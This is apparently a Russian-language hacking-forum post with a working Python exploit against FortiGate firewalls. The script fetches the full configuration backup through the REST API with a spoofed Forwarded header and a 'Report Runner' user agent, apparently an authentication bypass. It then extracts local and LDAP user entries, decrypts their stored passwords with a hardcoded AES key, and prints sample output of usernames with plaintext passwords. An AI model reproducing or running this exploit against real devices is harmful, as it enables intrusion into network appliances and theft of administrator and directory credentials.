Пожалуйста, обратите внимание, что пользователь заблокирован
Как получить всех юзеров с паролями.
Есть там такая шляпа, как дамп конфига (GET https://HOST/api/v2/monitor/system/config/backup?destination=file&scope=global).
Он выдаст файл с полными настройками фортика. По сути это полный набор команд которые исполняются в консоле, чтобы восстановить текущее состояние системы. Эту штуку мы используем для парсинга и дехеша паролей local и ldap юзеров. Но кроме этого, там вообще вся инфа. Кому нужно что-то другое, придумайте как парсить свои данные, я приложу пример с паролями (это не боевой эксплойт, просто PoC делал для себя, кому надо разберется)
Пример вывода:
p.s. да, там есть yaml, но он не валидный и дефолтными парсерами не кушается. Вероятно специфика кодировщика
Есть там такая шляпа, как дамп конфига (GET https://HOST/api/v2/monitor/system/config/backup?destination=file&scope=global).
Он выдаст файл с полными настройками фортика. По сути это полный набор команд которые исполняются в консоле, чтобы восстановить текущее состояние системы. Эту штуку мы используем для парсинга и дехеша паролей local и ldap юзеров. Но кроме этого, там вообще вся инфа. Кому нужно что-то другое, придумайте как парсить свои данные, я приложу пример с паролями (это не боевой эксплойт, просто PoC делал для себя, кому надо разберется)
Python:
import re
import warnings
from base64 import b64decode
from typing import Dict, List, Literal, Text
import requests
from Crypto.Cipher import AES
from urllib3 import disable_warnings
disable_warnings()
warnings.filterwarnings("ignore", category=DeprecationWarning)
class Parser:
def __init__(self, content: Text):
self.text = content
def get_config_users(
self, _type: Literal['local', 'ldap']
) -> List[Dict]:
res = re.search(
f'config user {_type}(.*?)end',
self.text,
re.DOTALL
)
if not res:
return []
users = re.findall(f'edit(.*?)next', res.group(), re.DOTALL)
if not users:
return []
return Parser._get_local(users) if _type == 'local' \
else Parser._get_ldap(users) if _type == 'ldap' \
else []
@staticmethod
def _get_ldap(users: List) -> List:
keys = (
'domain', 'server', 'cnid',
'dn', 'username', 'hash'
)
results = []
for user in users:
vals = re.search(
r'"(.*?)".*'
r'server "(.*?)".*'
r'cnid "(.*?)".*'
r'dn "(.*?)".*'
r'username "(.*?)".*'
r'ENC (.*?)\s+',
user,
re.DOTALL,
)
if vals:
results.append(
dict(zip(keys, vals.groups()))
)
return results
@staticmethod
def _get_local(users: List) -> List:
keys = ('username', 'hash')
results = []
for user in users:
vals = re.search(r'"(.*?)".*ENC\s+(.*?)\s', user, re.DOTALL)
results.append(dict(zip(keys, vals.groups()))) if vals else None
return results
class FortiDecrypt:
@staticmethod
def decrypt(pwd_hash: str) -> str:
key = b'Mary had a littl'
enc = 'unicode_escape'
pwd_bytes = b64decode(pwd_hash)
iv = pwd_bytes[0:4] + b'\x00' * 12
end = pwd_bytes[4:]
cipher = AES.new(
key,
iv=iv,
mode=AES.MODE_CBC
)
pwd = cipher.decrypt(end).decode(enc)
return pwd.split('\x00')[0]
if __name__ == '__main__':
host = 'https://127.0.0.1:4433'
headers = {
'Forwarded': 'for="[127.0.0.1]:8080";by="[127.0.0.1]:8081";',
'User-Agent': 'Report Runner',
}
resp = requests.get(
host + '/api/v2/monitor/system/config/backup?destination=file&scope=global',
headers=headers,
verify=False,
)
p = Parser(resp.text)
u_local = p.get_config_users('local')
u_ldap = p.get_config_users('ldap')
print('='*50)
if u_local:
print('[+] LOCAL:')
for user in u_local:
password = FortiDecrypt.decrypt(user['hash'])
print(f'[+]---- {user["username"]}:{password}')
if u_ldap:
print('[+] LDAP')
for user in u_ldap:
password = FortiDecrypt.decrypt(user['hash'])
print(f'[+]---- {user["username"]}:{password}:{user["domain"]}:{user["server"]}:{user["cnid"]}:{user["dn"]}')
Пример вывода:
[+] LOCAL:
[+]---- guest:Maung@123
[+] LDAP
[+]---- cn=admin1,dc=asdas,dc=com:asdasd@2018:LDAP:1270.0.1:cn:dc=asdasd,dc=com
p.s. да, там есть yaml, но он не валидный и дефолтными парсерами не кушается. Вероятно специфика кодировщика
Последнее редактирование: